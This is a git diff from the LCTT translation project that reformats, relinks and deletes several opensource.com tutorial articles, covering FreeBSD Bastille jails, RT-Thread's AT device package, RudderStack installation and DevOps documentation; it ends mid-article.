rdr alcatraz tcp 514 514 To test the new service within the jail, use telnet to connect port 514 of your host and enter some random text. Use the `tail` command within your jail to see what you just entered: - ``` root@generic:~ # tail /usr/local/bastille/jails/alcatraz/root/var/log/messages Feb  6 03:57:27 alcatraz sendmail[3594]: gethostbyaddr(10.17.89.50) failed: 1 @@ -249,26 +234,26 @@ Feb  6 04:07:18 192.168.1.126 this is a test Feb  6 04:07:20 alcatraz syslog-ng[1186]: Syslog connection closed; fd='23', client='AF_INET(192.168.1.126:50104)', local='AF_INET(0.0.0.0:514)' ``` -Since I'm a [syslog-ng][12] evangelist, I used the syslog-ng template in my example, but there are many more available. Check the full list of [Bastille templates][13] to learn about them. +Since I'm a [syslog-ng][11] evangelist, I used the syslog-ng template in my example, but there are many more available. Check the full list of [Bastille templates][12] to learn about them. ### What's next? -I hope that this article inspires you to try FreeBSD and Bastille on your Raspberry Pi. It was just enough information to get you started; to learn about all of Bastille's cool features—like auditing your jails for vulnerabilities and updating software within them—in the [documentation][14]. +I hope that this article inspires you to try FreeBSD and Bastille on your Raspberry Pi. It was just enough information to get you started; to learn about all of Bastille's cool features—like auditing your jails for vulnerabilities and updating software within them—in the [documentation][13]. -------------------------------------------------------------------------------- via: https://opensource.com/article/21/3/bastille-raspberry-pi 作者:[Peter Czanik][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/czanik -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/containers_modules_networking_hardware_parts.png?itok=rPpVj92- (Parts, modules, containers for software) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/containers_modules_networking_hardware_parts.png [2]: https://opensource.com/article/18/1/history-low-level-container-runtimes [3]: https://docs.freebsd.org/en/books/handbook/jails/ [4]: https://opensource.com/article/18/11/behind-scenes-linux-containers @@ -278,7 +263,6 @@ via: https://opensource.com/article/21/3/bastille-raspberry-pi [8]: https://opensource.com/article/19/3/netbsd-raspberry-pi [9]: https://www.freebsd.org/where/ [10]: https://en.wikipedia.org/wiki/PF_(firewall) -[11]: mailto:git@github.com -[12]: https://www.syslog-ng.com/ -[13]: https://gitlab.com/BastilleBSD-Templates/ -[14]: https://bastille.readthedocs.io/en/latest/ +[11]: https://www.syslog-ng.com/ +[12]: https://gitlab.com/BastilleBSD-Templates/ +[13]: https://bastille.readthedocs.io/en/latest/ diff --git a/sources/tech/20210307 How to Install Nvidia Drivers on Linux Mint -Beginner-s Guide.md b/sources/tech/20210307 How to Install Nvidia Drivers on Linux Mint -Beginner-s Guide.md index ee23f126fe..2a9a7650f4 100644 --- a/sources/tech/20210307 How to Install Nvidia Drivers on Linux Mint -Beginner-s Guide.md +++ b/sources/tech/20210307 How to Install Nvidia Drivers on Linux Mint -Beginner-s Guide.md @@ -2,7 +2,7 @@ [#]: via: (https://itsfoss.com/nvidia-linux-mint/) [#]: author: (Ankush Das https://itsfoss.com/author/ankush/) [#]: collector: (lujun9972) -[#]: translator: (hwlife) +[#]: translator: ( ) [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) diff --git a/sources/tech/20210316 Get started with edge computing by programming embedded systems.md b/sources/tech/20210316 Get started with edge computing by programming embedded systems.md deleted file mode 100644 index 5899e54827..0000000000 --- a/sources/tech/20210316 Get started with edge computing by programming embedded systems.md +++ /dev/null @@ -1,176 +0,0 @@ -[#]: subject: (Get started with edge computing by programming embedded systems) -[#]: via: (https://opensource.com/article/21/3/rtos-embedded-development) -[#]: author: (Alan Smithee https://opensource.com/users/alansmithee) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Get started with edge computing by programming embedded systems -====== -The AT device package for controlling wireless modems is one of RTOS's -most popular extensions. -![Looking at a map][1] - -RTOS is an open source [operating system for embedded devices][2] developed by RT-Thread. It provides a standardized, friendly foundation for developers to program a variety of devices and includes a large number of useful libraries and toolkits to make the process easier. - -Like Linux, RTOS uses a modular approach, which makes it easy to extend. Packages enable developers to use RTOS for any device they want to target. One of RTOS's most popular extensions is the AT device package, which includes porting files and sample code for different AT devices (i.e., modems). - -At over 62,000 downloads (at the time of this writing, at least), one of the most popular extensions to RTOS is the AT device package, which includes porting files and sample code for different AT devices. - -### About AT commands - -AT commands were originally a protocol to control old dial-up modems. As modem technology moved on to higher bandwidths, it remained useful to have a light and efficient protocol for device control, and major mobile phone manufacturers jointly developed a set of AT commands to control the GSM module on mobile phones. - -Today, the AT protocol is still common in networked communication, and there are many devices, including WiFi, Bluetooth, and 4G, that accept AT commands. - -If you're creating purpose-built appliances for edge computing input, monitoring, or the Internet of Things (IoT), some of the AT devices supported by RTOS that you may encounter include ESP8266, ESP32, M26, MC20, RW007, MW31, SIM800C, W60X, SIM76XX, A9/A9G, BC26, AIR720, ME3616, M 6315, BC28, and EC200X. - -RT-Thread contains the Socket Abstraction Layer (SAL) component, which implements the abstraction of various network protocols and interfaces and provides a standard set of [BSD socket][3] APIs to the upper level. The SAL then takes over the AT socket interface so that developers just need to consider the network interface provided by the network application layer. - -This package implements the AT socket on devices (including the ones above), allowing communications through standard socket interfaces in the form of AT commands. The [RT-thread programming guide][4] includes descriptions of specific functions. - -The at_device package is distributed under an LGPLv2.1 license, and it's easy to obtain by using the [RT-Thread Env tool][5]. This tool includes a configurator and a package manager, which configure the kernel and component functions and can be used to tailor the components and manage online packages. This enables developers to build systems as if they were building blocks. - -### Get the at_device package - -To use AT devices with RTOS, you must enable the AT component library and AT socket functionality. This requires: - - * RT_Thread 4.0.2+ - * RT_Thread AT component 1.3.0+ - * RT_Thread SAL component - * RT-Thread netdev component - - - -The AT device package has been updated for multiple versions. Different versions require different configuration options, so they must fit into the corresponding system versions. Most of the currently available AT device package versions are: - - * V1.2.0: For RT-Thread versions less than V3.1.3, AT component version equals V1.0.0 - * V1.3.0: For RT-Thread versions less than V3.1.3, AT component version equals V1.1.0 - * V1.4.0: For RT-Thread versions less than V3.1.3 or equal to V4.0.0, AT component version equals V1.2.0 - * V1.5.0: For RT-Thread versions less than V3.1.3 or equal to V4.0.0, AT component version equals V1.2.0 - * V1.6.0: For RT-Thread versions equal to V3.1.3 or V4.0.1, AT component version equals V1.2.0 - * V2.0.0/V2.0.1: For RT-Thread versions higher than V4.0.1 or higher than 3.1.3, AT component version equals V1.3.0 - * Latest version: For RT-Thread versions higher than V4.0.1 or higher than 3.1.3, AT component version equals V1.3.0 - - - -Getting the right version is mostly an automatic process done in menuconfig. It provides the best version of the at_device package based on your current system environment. - -As mentioned, different versions require different configuration options. For instance, version 1.x supports enabling one AT device at a time: - - -``` -RT-Thread online packages  ---> -     IoT - internet of things  ---> -        -*- AT DEVICE: RT-Thread AT component porting or samples for different device   -        [ ]   Enable at device init by thread -              AT socket device modules (Not selected, please select)  --->     -              Version (V1.6.0)  ---> -``` - -The option to enable the AT device init by thread dictates whether the configuration creates a separate thread to initialize the device network. - -Version 2.x supports enabling multiple AT devices at the same time: - - -``` -RT-Thread online packages  ---> -     IoT - internet of things  ---> -        -*- AT DEVICE: RT-Thread AT component porting or samples for different device -        [*]   Quectel M26/MC20  ---> -          [*]   Enable initialize by thread -          [*]   Enable sample -          (-1)    Power pin -          (-1)    Power status pin -          (uart3) AT client device name -          (512)   The maximum length of receive line buffer -        [ ]   Quectel EC20  ---> -        [ ]   Espressif ESP32  ---> -        [*]   Espressif ESP8266  ---> -          [*]   Enable initialize by thread -          [*]   Enable sample -          (realthread) WIFI ssid -          (12345678) WIFI password -          (uart2) AT client device name -          (512)   The maximum length of receive line buffer -        [ ]   Realthread RW007  ---> -        [ ]   SIMCom SIM800C  ---> -        [ ]   SIMCom SIM76XX  ---> -        [ ]   Notion MW31  ---> -        [ ]   WinnerMicro W60X  ---> -        [ ]   AiThink A9/A9G  ---> -        [ ]   Quectel BC26  ---> -        [ ]   Luat air720  ---> -        [ ]   GOSUNCN ME3616  ---> -        [ ]   ChinaMobile M6315  ---> -        [ ]   Quectel BC28  ---> -        [ ]   Quectel ec200x  ---> -        Version (latest)  ---> -``` - -This version includes many other options, including one to enable sample code, which might be particularly useful to new developers or any developer using an unfamiliar device. - -You can also control options to choose which pin you want to use to supply power to your component, a pin to indicate the power state, the name of the serial device the sample device uses, and the maximum length of the data the sample device receives. On applicable devices, you can also set the SSID name and password. - -In short, there is no shortage of control options. - - * V2.X.X version supports enabling multiple AT devices simultaneously, and the enabled device information can be viewed with the `ifocnfig` command in [finsh shell][6]. - * V2.X.X version requires the device to register before it's used; the registration can be done in the samples directory file or customized in the application layer. - * Pin options such as **Power pin** and **Power status pin** are configured according to the device's hardware connection. They can be configured as `-1` if the hardware power-on function is not used. - * One AT device should correspond to one serial name, and the **AT client device name** for each device should be different. - - - -### AT components configuration options - -When the AT device package is selected and device support is enabled, client functionality for the AT component is selected by default. That means more options—this time for the AT component: - - -``` -RT-Thread Components  ---> -    Network  ---> -        AT commands  ---> -    [ ]   Enable debug log output -    [ ]   Enable AT commands server -    -*-   Enable AT commands client -    (1)     The maximum number of supported clients -    -*-     Enable BSD Socket API support by AT commnads -    [*]     Enable CLI(Command-Line Interface) for AT commands -    [ ]     Enable print RAW format AT command communication data -    (128)   The maximum length of AT Commonds buffer -``` - -The configuration options related to the AT device package are: - - * **The maximum number of supported clients**: Selecting multiple devices in the AT device package requires this option to be configured as the corresponding value. - * **Enable BSD Socket API support by AT commands**: This option will be selected by default when selecting the AT device package. - * **The maximum length of AT Commands buffe:** The maximum length of the data the AT commands can send. - - - -### Anything is possible - -When you start programming embedded systems, you quickly realize that you can create anything you can imagine. RTOS aims to help you get there, and its packages offer a head start. Interconnected devices are the expectation now. IoT technology on the [edge][7] must be able to communicate across various protocols, and the AT protocol is the key. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/rtos-embedded-development - -作者:[Alan Smithee][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alansmithee -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png?itok=L0BQHgjr (Looking at a map) -[2]: https://opensource.com/article/20/6/open-source-rtos -[3]: https://en.wikipedia.org/wiki/Berkeley_sockets -[4]: https://github.com/RT-Thread/rtthread-manual-doc/blob/master/at/at.md -[5]: https://www.rt-thread.io/download.html?download=Env -[6]: https://www.rt-thread.org/download/rttdoc_1_0_0/group__finsh.html -[7]: https://www.redhat.com/en/topics/edge-computing diff --git a/sources/tech/20210318 Get started with an open source customer data platform.md b/sources/tech/20210318 Get started with an open source customer data platform.md index 9cdbc1d34d..ec2f2c9afa 100644 --- a/sources/tech/20210318 Get started with an open source customer data platform.md +++ b/sources/tech/20210318 Get started with an open source customer data platform.md @@ -1,19 +1,20 @@ -[#]: subject: (Get started with an open source customer data platform) -[#]: via: (https://opensource.com/article/21/3/rudderstack-customer-data-platform) -[#]: author: (Amey Varangaonkar https://opensource.com/users/ameypv) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Get started with an open source customer data platform" +[#]: via: "https://opensource.com/article/21/3/rudderstack-customer-data-platform" +[#]: author: "Amey Varangaonkar https://opensource.com/users/ameypv" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Get started with an open source customer data platform ====== -As an open source alternative to Segment, RudderStack collects and -routes event stream (or clickstream) data and automatically builds your -customer data lake on your data warehouse. +As an open source alternative to Segment, RudderStack collects and routes event stream (or clickstream) data and automatically builds your customer data lake on your data warehouse. + ![Person standing in front of a giant computer screen with numbers, data][1] +Image by: Opensource.com + [RudderStack][2] is an open source, warehouse-first customer data pipeline. It collects and routes event stream (or clickstream) data and automatically builds your customer data lake on your data warehouse. RudderStack is commonly known as the open source alternative to the customer data platform (CDP), [Segment][3]. It provides a more secure, flexible, and cost-effective solution in comparison. You get all the CDP functionality with added security and full ownership of your customer data. @@ -24,60 +25,51 @@ Warehouse-first tools like RudderStack are architected to build functional data Before you get started, you will need the RudderStack workspace token from your RudderStack dashboard. To get it: - 1. Go to the [RudderStack dashboard][4]. - - 2. Log in using your credentials (or sign up for an account, if you don't already have one). - -![RudderStack login screen][5] - -(RudderStack, [CC BY-SA 4.0][6]) - - 3. Once you've logged in, you should see the workspace token on your RudderStack dashboard. - -![RudderStack workspace token][7] - -(RudderStack, [CC BY-SA 4.0][6]) +1. Go to the [RudderStack dashboard][4]. +2. Log in using your credentials (or sign up for an account, if you don't already have one). + ![RudderStack login screen][7] +3. Once you've logged in, you should see the workspace token on your RudderStack dashboard. + ![RudderStack workspace token][8] ### Installing RudderStack Setting up a RudderStack open source instance is straightforward. You have two installation options: - 1. On your Kubernetes cluster, using RudderStack's Helm charts - 2. On your Docker container, using the `docker-compose` command +1. On your Kubernetes cluster, using RudderStack's Helm charts +2. On your Docker container, using the `docker-compose` command - - -This tutorial explains how to use both options but assumes that you already have [Git installed on your system][8]. +This tutorial explains how to use both options but assumes that you already have [Git installed on your system][9]. #### Deploying with Kubernetes -You can deploy RudderStack on your Kubernetes cluster using the [Helm][9] package manager. +You can deploy RudderStack on your Kubernetes cluster using the [Helm][10] package manager. -_If you plan to use RudderStack in production, we strongly recommend using this method._ This is because the Docker images are updated with bug fixes more frequently than the GitHub repository (which follows a monthly release cycle). +*If you plan to use RudderStack in production, we strongly recommend using this method.* This is because the Docker images are updated with bug fixes more frequently than the GitHub repository (which follows a monthly release cycle). Before you can deploy RudderStack on Kubernetes, make sure you have the following prerequisites in place: - * [Install and connect kubectl][10] to your Kubernetes cluster. - * [Install Helm][11] on your system, either through the Helm installer scripts or its package manager. - * Finally, get the workspace token from the RudderStack dashboard by following the steps in the [Getting the RudderStack workspace token][12] section. - - +* [Install and connect kubectl][11] to your Kubernetes cluster. +* [Install Helm][12] on your system, either through the Helm installer scripts or its package manager. +* Finally, get the workspace token from the RudderStack dashboard by following the steps in the Getting the RudderStack workspace token section. Once you've completed all the prerequisites, deploy RudderStack on your default Kubernetes cluster: - 1. Find the Helm chart required to deploy RudderStack in this [repo][13]. - 2. Install the Helm chart with a release name of your choice (`my-release`, in this example) from the root directory of the repo in the previous step: [code] $ helm install \ -my-release ./ --set \ -rudderWorkspaceToken="<your workspace token from RudderStack dashboard>" -``` +1. Find the Helm chart required to deploy RudderStack in this [repo][13]. +2. Install the Helm chart with a release name of your choice (my-release, in this example) from the root directory of the repo in the previous step: + ``` + $ helm install \ + my-release ./ --set \ + rudderWorkspaceToken="" + ``` + This deploys RudderStack on your default Kubernetes cluster configured with kubectl using the workspace token you obtained from the RudderStack dashboard. For more details on the configurable parameters in the RudderStack Helm chart or updating the versions of the images used, consult the [documentation][14]. -### Deploying with Docker +#### Deploying with Docker Docker is the easiest and fastest way to set up your open source RudderStack instance. @@ -85,12 +77,12 @@ First, get the workspace token from the RudderStack dashboard by following the s Once you have the RudderStack workspace token: - 1. Download the [**rudder-docker.yml**][15] docker-compose file required for the installation. - 2. Replace `` in this file with your RudderStack workspace token. - 3. Set up RudderStack on your Docker container by running: [code]`docker-compose -f rudder-docker.yml up` -``` - - +1. Download the [rudder-docker.yml][15] docker-compose file required for the installation. +2. Replace `` in this file with your RudderStack workspace token. +3. Set up RudderStack on your Docker container by running: + ``` + docker-compose -f rudder-docker.yml up + ``` Now RudderStack should be up and running on your Docker instance. @@ -98,128 +90,115 @@ Now RudderStack should be up and running on your Docker instance. You can verify your RudderStack installation by sending test events using the bundled shell script: - 1. Clone the GitHub repository: [code]`git clone https://github.com/rudderlabs/rudder-server.git` -``` - 2. In this tutorial, you will verify RudderStack by sending test events to Google Analytics. Make sure you have a Google Analytics account and keep the tracking ID handy. Also, note that the Google Analytics account needs to have a `Web` property. +1. Clone the GitHub repository: + ``` + git clone https://github.com/rudderlabs/rudder-server.git + ``` +2. In this tutorial, you will verify RudderStack by sending test events to Google Analytics. Make sure you have a Google Analytics account and keep the tracking ID handy. Also, note that the Google Analytics account needs to have a `Web` property. +3. In the [RudderStack hosted control plane][16]: + * Add a source on the RudderStack dashboard by following the [Adding a source and destination in RudderStack][17] guide. You can use either of RudderStack's event stream software development kits (SDKs) for sending events from your app. This example sets up the [JavaScript SDK][18] as a source on the dashboard. Note: You aren't actually installing the RudderStack JavaScript SDK on your site in this step; you are just creating the source in RudderStack. + * Configure a Google Analytics destination on the RudderStack dashboard using the instructions in the guide mentioned previously. Use the Google Analytics tracking ID you kept from step 2 of this section: - 3. In the [RudderStack hosted control plane][4]: - - * Add a source on the RudderStack dashboard by following the [Adding a source and destination in RudderStack][16] guide. You can use either of RudderStack's event stream software development kits (SDKs) for sending events from your app. This example sets up the [JavaScript SDK][17] as a source on the dashboard. **Note:** You aren't actually installing the RudderStack JavaScript SDK on your site in this step; you are just creating the source in RudderStack. - - * Configure a Google Analytics destination on the RudderStack dashboard using the instructions in the guide mentioned previously. Use the Google Analytics tracking ID you kept from step 2 of this section: - -![Google Analytics tracking ID][18] - -(RudderStack, [CC BY-SA 4.0][6]) - - 4. As mentioned before, RudderStack bundles a shell script that generates test events. Get the **Source write key** from the RudderStack dashboard: - -![RudderStack source write key][19] - -(RudderStack, [CC BY-SA 4.0][6]) - - 5. Next, run: [code]`./scripts/generate-event https://hosted.rudderlabs.com/v1/batch` -``` - - 6. Finally, log into your Google Analytics account and verify that the events were delivered. In your Google Analytics account, navigate to **RealTime** -> **Events**. The RealTime view is important because some dashboards can take one to two days to refresh. + ![Google Analytics tracking ID][27] +4. As mentioned before, RudderStack bundles a shell script that generates test events. Get the **Source write key** from the RudderStack dashboard: + ![RudderStack source write key][28] +5. Next, run: + ``` + ./scripts/generate-event https://hosted.rudderlabs.com/v1/batch + ``` +6. Finally, log into your Google Analytics account and verify that the events were delivered. In your Google Analytics account, navigate to *RealTime** -> **Events**. The RealTime view is important because some dashboards can take one to two days to refresh. ### Optional: Setting up the open source control plane -RudderStack's core architecture contains two major components: the data plane and the control plane. The data plane, [rudder-server][20], delivers your event data, and the RudderStack hosted control plane manages the configuration of your sources and destinations. +RudderStack's core architecture contains two major components: the data plane and the control plane. The data plane, [rudder-server][29], delivers your event data, and the RudderStack hosted control plane manages the configuration of your sources and destinations. -However, if you want to manage the source and destination configurations locally, you can set an open source control plane in your environment using the RudderStack Config Generator. (You must have [Node.js][21] installed on your system to use it.) +However, if you want to manage the source and destination configurations locally, you can set an open source control plane in your environment using the RudderStack Config Generator. (You must have [Node.js][30] installed on your system to use it.) Here are the steps to set up the control plane: - 1. Install and set up RudderStack on the platform of your choice by following the instructions above. - 2. Run the following commands in this order: - * `cd utils/config-gen` - * `npm install` - * `npm start` - - +1. Install and set up RudderStack on the platform of your choice by following the instructions above. +2. Run the following commands in this order: + ``` + cd utils/config-gen + npm install + npm start + ``` You should now be able to access the open source control plane at `http://localhost:3000` by default. If your setup is successful, you will see the user interface. -![RudderStack open source control plane][22] +![RudderStack open source control plane][31] -(RudderStack, [CC BY-SA 4.0][6]) - -To export the existing workspace configuration from the RudderStack-hosted control plane and have RudderStack use it, consult the [docs][23]. +To export the existing workspace configuration from the RudderStack-hosted control plane and have RudderStack use it, consult the [docs][32]. ### RudderStack and open source -The core of RudderStack is in the [rudder-server][20] repository. It is open source, licensed under [AGPL-3.0][24]. A majority of the destination integrations live in the [rudder-transformer][25] repository. They are open source as well, licensed under the [MIT License][26]. The SDKs and instrumentation repositories, several tool and utility repositories, and even some [dbt][27] model repositories for use-cases like customer journey analysis and sessionization for the data residing in your data warehouse are open source, licensed under the MIT License, and available in the [GitHub repository][28]. +The core of RudderStack is in the [rudder-server][33] repository. It is open source, licensed under [AGPL-3.0][34]. A majority of the destination integrations live in the [rudder-transformer][35] repository. They are open source as well, licensed under the [MIT License][36]. The SDKs and instrumentation repositories, several tool and utility repositories, and even some [dbt][37] model repositories for use-cases like customer journey analysis and sessionization for the data residing in your data warehouse are open source, licensed under the MIT License, and available in the [GitHub repository][38]. -You can use RudderStack's open source offering, rudder-server, on your platform of choice. There are setup guides for [Docker][29], [Kubernetes][30], [native installation][31], and [developer machines][32]. +You can use RudderStack's open source offering, rudder-server, on your platform of choice. There are setup guides for [Docker][39], [Kubernetes][40], [native installation][41], and [developer machines][42]. RudderStack open source offers: - 1. RudderStack event stream - 2. 15+ SDKs and source integrations to ingest event data - 3. 80+ destination and warehouse integrations - 4. Slack community support - - +1. RudderStack event stream +2. 15+ SDKs and source integrations to ingest event data +3. 80+ destination and warehouse integrations +4. Slack community support #### RudderStack Cloud -RudderStack also offers a managed option, [RudderStack Cloud][33]. It is fast, reliable, and highly scalable with a multi-node architecture and sophisticated error-handling mechanism. You can hit peak event volume without worrying about downtime, loss of events, or latency. +RudderStack also offers a managed option, [RudderStack Cloud][43]. It is fast, reliable, and highly scalable with a multi-node architecture and sophisticated error-handling mechanism. You can hit peak event volume without worrying about downtime, loss of events, or latency. -Explore our open source repos on [GitHub][28], subscribe to [our blog][34], and follow us on social media: [Twitter][35], [LinkedIn][36], [dev.to][37], [Medium][38], and [YouTube][39]! +Image By: (RudderStack, CC BY-SA 4.0) -------------------------------------------------------------------------------- via: https://opensource.com/article/21/3/rudderstack-customer-data-platform 作者:[Amey Varangaonkar][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/ameypv -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/data_metrics_analytics_desktop_laptop.png?itok=9QXd7AUr (Person standing in front of a giant computer screen with numbers, data) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/data_metrics_analytics_desktop_laptop.png [2]: https://rudderstack.com/ [3]: https://segment.com/ [4]: https://app.rudderstack.com/ -[5]: https://opensource.com/sites/default/files/uploads/rudderstack_login.png (RudderStack login screen) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://opensource.com/sites/default/files/uploads/rudderstack_workspace-token.png (RudderStack workspace token) -[8]: https://opensource.com/life/16/7/stumbling-git -[9]: https://helm.sh/ -[10]: https://kubernetes.io/docs/tasks/tools/install-kubectl/ -[11]: https://helm.sh/docs/intro/install/ -[12]: tmp.AhGpFIyrbZ#token +[7]: https://opensource.com/sites/default/files/uploads/rudderstack_login.png +[8]: https://opensource.com/sites/default/files/uploads/rudderstack_workspace-token.png +[9]: https://opensource.com/life/16/7/stumbling-git +[10]: https://helm.sh/ +[11]: https://kubernetes.io/docs/tasks/tools/install-kubectl/ +[12]: https://helm.sh/docs/intro/install/ [13]: https://github.com/rudderlabs/rudderstack-helm [14]: https://docs.rudderstack.com/installing-and-setting-up-rudderstack/kubernetes [15]: https://raw.githubusercontent.com/rudderlabs/rudder-server/master/rudder-docker.yml -[16]: https://docs.rudderstack.com/get-started/adding-source-and-destination-rudderstack -[17]: https://docs.rudderstack.com/rudderstack-sdk-integration-guides/rudderstack-javascript-sdk -[18]: https://opensource.com/sites/default/files/uploads/googleanalyticstrackingid.png (Google Analytics tracking ID) -[19]: https://opensource.com/sites/default/files/uploads/rudderstack_sourcewritekey.png (RudderStack source write key) -[20]: https://github.com/rudderlabs/rudder-server -[21]: https://nodejs.org/en/download/ -[22]: https://opensource.com/sites/default/files/uploads/rudderstack_controlplane.png (RudderStack open source control plane) -[23]: https://docs.rudderstack.com/how-to-guides/rudderstack-config-generator -[24]: https://www.gnu.org/licenses/agpl-3.0-standalone.html -[25]: https://github.com/rudderlabs/rudder-transformer -[26]: https://opensource.org/licenses/MIT -[27]: https://www.getdbt.com/ -[28]: https://github.com/rudderlabs -[29]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/docker -[30]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/kubernetes -[31]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/native-installation -[32]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/developer-machine-setup -[33]: https://resources.rudderstack.com/rudderstack-cloud -[34]: https://rudderstack.com/blog/ -[35]: https://twitter.com/RudderStack -[36]: https://www.linkedin.com/company/rudderlabs/ -[37]: https://dev.to/rudderstack -[38]: https://rudderstack.medium.com/ -[39]: https://www.youtube.com/channel/UCgV-B77bV_-LOmKYHw8jvBw +[16]: https://app.rudderstack.com/ +[17]: https://docs.rudderstack.com/get-started/adding-source-and-destination-rudderstack +[18]: https://docs.rudderstack.com/rudderstack-sdk-integration-guides/rudderstack-javascript-sdk +[20]: https://docs.rudderstack.com/get-started/adding-source-and-destination-rudderstack +[21]: https://docs.rudderstack.com/rudderstack-sdk-integration-guides/rudderstack-javascript-sdk +[24]: https://docs.rudderstack.com/get-started/adding-source-and-destination-rudderstack +[25]: https://docs.rudderstack.com/rudderstack-sdk-integration-guides/rudderstack-javascript-sdk +[27]: https://opensource.com/sites/default/files/uploads/googleanalyticstrackingid.png +[28]: https://opensource.com/sites/default/files/uploads/rudderstack_sourcewritekey.png +[29]: https://github.com/rudderlabs/rudder-server +[30]: https://nodejs.org/en/download/ +[31]: https://opensource.com/sites/default/files/uploads/rudderstack_controlplane.png +[32]: https://docs.rudderstack.com/how-to-guides/rudderstack-config-generator +[33]: https://github.com/rudderlabs/rudder-server +[34]: https://www.gnu.org/licenses/agpl-3.0-standalone.html +[35]: https://github.com/rudderlabs/rudder-transformer +[36]: https://opensource.org/licenses/MIT +[37]: https://www.getdbt.com/ +[38]: https://github.com/rudderlabs +[39]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/docker +[40]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/kubernetes +[41]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/native-installation +[42]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/developer-machine-setup +[43]: https://resources.rudderstack.com/rudderstack-cloud diff --git a/sources/tech/20210330 A DevOps guide to documentation.md b/sources/tech/20210330 A DevOps guide to documentation.md deleted file mode 100644 index 4f9defbb3b..0000000000 --- a/sources/tech/20210330 A DevOps guide to documentation.md +++ /dev/null @@ -1,93 +0,0 @@ -[#]: subject: (A DevOps guide to documentation) -[#]: via: (https://opensource.com/article/21/3/devops-documentation) -[#]: author: (Will Kelly https://opensource.com/users/willkelly) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -A DevOps guide to documentation -====== -Bring your documentation writing into the DevOps lifecycle. -![Typewriter with hands][1] - -DevOps is challenging technical documentation norms like at no other time in IT history. From automation to increased delivery velocity to dismantling the waterfall software development lifecycle model, these all spell the need for making dramatic changes to business and the philosophy of technical documentation. - -Here are some ways DevOps is influencing technical documentation. - -### The technical writer's changing role - -The technical writer's role must adapt to DevOps. The good news is that many technical writers are already embedded in development teams, and they may have a leg up by already having collaborative relationships and growing knowledge of the product. - -But you have some pivoting to do if your technical writers are used to working in siloes and relying on drafts written by subject matter experts as the basis for documentation. - -Make the investments to ensure your documentation and other project-related content development efforts gain the tools, structure, and support they require. Start by changing your [technical writer hiring practices][2]. Documentation at the [speed of DevOps][3] requires rethinking your content strategy and breaking down longstanding silos between your DevOps team and the technical writer assigned to support the project. - -DevOps also causes development teams to break away from the rigors of traditional documentation practices. Foremost, documentation's [definition of done][4] must change. Some corporate cultures make the technical writer a passive participant in software development. DevOps makes new demands—as the DevOps cultural transformation goes, so does the technical writer's role. Writers will need (and must adjust to) the transparency DevOps offers. They must integrate into DevOps teams. Depending on how an organization casts the role, bringing the technical writer into the team may present skillset challenges. - -### Documentation standards, methodologies, and specifications - -While DevOps has yet to influence technical documentation itself, the open source community has stepped up to help with application programming interface (API) documentation that's finding use among DevOps teams in enterprises of all sizes. - -Open source specifications and tools for documenting APIs are an exciting area to watch. I'd like to think it is due to the influence of [Google Season of Docs][5], which gives open source software projects access to professional technical writing talent to tackle their most critical documentation projects. - -Open source APIs are available and need to become part of the DevOps documentation discussion. The importance of cloud-native application integration requirements is on the rise. The [OpenAPI specification][6]—an open standard for defining and documenting an API—is a good resource for API documentation in DevOps environments. However, a significant criticism is that the specification can make documentation time-consuming to create and keep current. - -There were brief attempts to create a [Continuous Documentation][7] methodology. There was also a movement to create a [DocOps][8] Framework that came out of CA (now Broadcom). Despite its initial promise, DocOps never caught on as an industry movement. - -The current state of DevOps documentation standards means your DevOps teams (including your technical writer) need to begin creating documentation at the earliest stages of a project. You do this by adding documentation as both an agile story and (just as important) as a management expectation; you enforce it by tying it to annual performance reviews. - -### Documentation tools - -DevOps documentation authoring should occur online in a format or a platform accessible to all team members. MediaWiki, DokuWiki, TikiWiki, and other [open source wikis][9] offer DevOps teams a central repository for authoring and maintaining documentation. - -Let teams choose their wiki just as you let them choose their other continuous integration/continuous development (CI/CD) toolchains. Part of the power of open source wikis is their extensibility. For example, DokuWiki includes a range of extensions you can install to create an authoring platform that meets your DevOps team's authoring requirements. - -If you're ambitious enough to bolster your team's authoring and collaboration capabilities, [Nextcloud][10] (an open source cloud collaboration suite) is an option for putting your DevOps teams online and giving them the tools they need to author documentation. - -### 